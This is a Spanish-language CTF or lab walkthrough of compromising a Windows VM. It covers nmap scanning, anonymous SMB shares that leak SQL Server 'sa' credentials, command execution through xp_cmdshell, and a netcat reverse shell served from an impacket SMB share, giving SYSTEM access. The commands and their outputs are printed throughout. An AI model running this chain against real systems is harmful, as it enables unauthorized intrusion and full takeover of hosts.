Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 11:32 EDT
Nmap scan report for 192.168.28.7
Host is up (0.00070s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1099/tcp open java-object Java Object Serialization
1801/tcp open msmq?
2107/tcp open msrpc Microsoft Windows RPC
5040/tcp open unknown
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
7680/tcp open pando-pub?
9047/tcp open unknown
9079/tcp open unknown
9080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9081/tcp open http Microsoft Cassini httpd 4.0.1.6 (ASP.NET 4.0.30319)
|_http-server-header: Cassini/4.0.1.6
| http-title: Login Saci
|_Requested resource was /App/Login.aspx
9083/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9147/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49744/tcp open msrpc Microsoft Windows RPC
49992/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|_ssl-date: 2025-03-21T23:35:37+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-21T23:27:07
|_Not valid after: 2055-03-21T23:27:07
| ms-sql-ntlm-info:
| 192.168.28.7\COMPAC:
| Target_Name: DESKTOP-M464J3M
| NetBIOS_Domain_Name: DESKTOP-M464J3M
| NetBIOS_Computer_Name: DESKTOP-M464J3M
| DNS_Domain_Name: DESKTOP-M464J3M
| DNS_Computer_Name: DESKTOP-M464J3M
|_ Product_Version: 10.0.19041
| ms-sql-info:
| 192.168.28.7\COMPAC:
| Instance name: COMPAC
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 49992
|_ Clustered: false
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1099-TCP:V=7.94SVN%I=7%D=3/21%Time=67DD8685%P=x86_64-pc-linux-gnu%r
SF:(NULL,4,"\xac\xed\0\x05");
MAC Address: 08:00:27:57:D3:AB (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: DESKTOP-M464J3M, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:57:d3:ab (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-03-21T23:34:52
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.99 seconds
Vemos varias cosas interesantes, muchos puertos entre ellos bastantes interesantes como un SMB, SQL Server, RDP, etc... Pero entre todos esos puertos de primeras nos llama uno la antencion en el que hay un servicio web en el puerto 9081, si entramos dentro veremos un login:
Si intentamos las credenciales por defecto veremos que no se puede, por lo que vamos a realizar un poco de fuuzing para ver que encontramos.
Vemos que hay bastantes directorio interesantes, si vamos probando en uno de ellos llamado /Download veremos lo siguiente:
URL = http://<IP>:9081/Download
Si entramos dentro de ese notas.txt veremos lo siguiente:
supervisor
supervisor
Podemos deducir que puede ser las credenciales del login, si lo probamos nos podremos meter como administradores pero no veremos nada interesante, ahora vamos a enumerar de forma anonima el servidor SMB.
SMB
smbclient -L //<IP>/ -N
Info:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Admin remota
C$ Disk Recurso predeterminado
Compac Disk
IPC$ IPC IPC remota
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.28.7 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Vemos que aparecen 2 recursos compartidos interesantes Compac y Users, si entramos primero en Compac veremos lo siguiente:
smbclient -N //<IP>/Compac
Info:
. D 0 Fri May 10 22:49:15 2024
.. D 0 Fri May 10 22:49:15 2024
Empresas D 0 Fri May 10 22:49:15 2024
Index D 0 Fri May 10 22:50:09 2024
5113953 blocks of size 4096. 509750 blocks available
Si nos vamos a la carpeta Empresas dentro veremos un archivo interesante llamado SQL.txt, nos lo descargaremos de la siguiente forma:
cd Empresas/
get SQL.txt
Y si leemos que contiene veremos lo siguiente:
SQL 2017
Instancia COMPAC
sa
Contpaqi2023.
ip
127.0.0.1
Tip para terminar instalaciones
1) Ejecutar seguridad de icono
Sobre el icono asegurarse que diga ejecutar como Administrador.
2) Ejecutar el comando regedit...
Buscar la llave Hkey Local Machine, luego Software, luego Wow32, Computacion en Accion...(abri pantalla con boton del lado derecho
donde dice seguridad y ver que aparezca "everyone" y darle control total
Vemos que nos esta proporcionando unas credenciales, que son las siguientes:
User: sa
Pass: Contpaqi2023.
Estas credenciales podemos deducir que son del SQL Server que tiene la maquina Windows, por lo que haremos lo siguiente para conectarnos a dicho servidor.
SQL Server
Si nos conectamos de forma normal no nos va a dejar ya que esta en otro puerto, por lo que tendremos que especificar el puerto que en este caso estara en el 49992.
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed database context to 'master'.
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Con esto veremos que estamos dentro de forma exitosa, ahora vamos a ver que comandos tenemos permitidos:
help
Info:
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
Vemos varias cosas interesantes, pero entre ellas veremos lo siguiente:
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
Con esto lo que podemos hacer es ejecutar comando de forma privilegiada por lo que ejecutaremos para probar un whoami:
EXEC xp_cmdshell 'whoami';
Info:
output
-------------------
nt authority\system
NULL
Veremos que esta funcionando de forma correcta, por lo que ahora nos vamos a generar una reverse shell con nc.exe mediante un servidor de SMB que nos vamos a montar.
Escalate Privileges
Vamos abrir en nuestro host un servidor de SMB de la siguiente forma:
cp /usr/share/windows-binaries/nc.exe .
Una vez copiado nuestro binario de netcat vamos abrirnos el servidor de SMB:
impacket-smbserver -smb2support kali .
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Ahora vamos a ejecutar ese nc.exe desde nuestro servidor de SMB y generarnos una reverse shell como el usuario administrador ya que se esta ejecutando con privilegios elevados.
Vamos a ponernos a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora en la maquina victima donde estamos en el SQL Server ejecutaremos lo siguiente:
Ahora si nos vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.28.5] from (UNKNOWN) [192.168.28.7] 50027
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>whoami
whoami
nt authority\system
Veremos que ha funcionado y que seremos directamente administradores por lo que leeremos las flags.